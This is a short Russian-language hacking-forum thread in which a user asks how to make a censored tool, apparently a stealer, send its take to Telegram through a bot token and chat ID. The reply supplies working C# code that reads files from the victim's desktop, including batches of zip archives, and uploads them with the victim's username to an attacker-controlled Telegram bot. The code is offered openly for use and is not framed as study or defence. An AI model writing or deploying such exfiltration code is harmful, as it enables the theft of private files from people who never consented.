Загрузка...

How to make the ******* send **** to telegram?

Thread in C# created by Expensive Sep 17, 2019. (bumped Sep 16, 2019) 1417 views

  1. Expensive
    Expensive Topic starter Sep 17, 2019 Banned 1083 Sep 2, 2018
    в шапке. Желательно, чтобы он обращался через токен бота и айди чата
     
  2. r3xq1
    r3xq1 Sep 17, 2019 53 Jul 27, 2018
    Просто как пример:

    Code
    public static async Task SendFile(string token, int id, string filename)
    {
    if (!string.IsNullOrWhiteSpace(token) || System.IO.File.Exists(filename))
    {
    bot = new TelegramBotClient(token);
    using (FileStream stream = System.IO.File.OpenRead(filename)) // Открываем поток для чтения файла(ов)
    {
    string ssf = Path.GetFileName(filename); // Получаем имя файла
    var Iof = new InputOnlineFile(stream, ssf); // Входные данные для отправки
    string fromsend = $"Файл отправлен от: {Environment.UserName}"; // Имя пользователя
    Message ss = await bot.SendDocumentAsync(id, Iof, fromsend); // Отправка файла с параметрами.
    }
    }
    }
    В нужном тебе классе делаешь вызов:

    Code
    internal static partial class Program
    {
    private static string token = "860740080:AAHzYkm8eSYmZKd***";
    private static int id = 49755****;
    private static readonly string DesktopFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "Lesson.cs");

    public static void Main()
    {
    try
    {
    Telega.SendFile(token, id, DesktopFile).Wait();
    }
    catch (AggregateException) { File.AppendAllText("ConnectError.txt", "Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или ***\r\n"); }
    }
    }
    Если нужно отсылать масс файлы то запилим такой метод:

    Code
    public static void MassSendFiles(string token, int id, string dir, string pattern)
    {
    try
    {
    if (!string.IsNullOrWhiteSpace(token))
    {
    foreach (string files in Directory.EnumerateFiles(dir, pattern, SearchOption.TopDirectoryOnly))
    {
    SendFile(token, id, files).Wait();
    }
    }
    }
    catch (Exception ex) { Console.WriteLine(ex.Message); }
    }
    Вызывается так:
    Code

    private static readonly string DesktopFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
    Telega.MassSendFiles(token, id, DesktopFile, "*zip");
     
Top
Loading...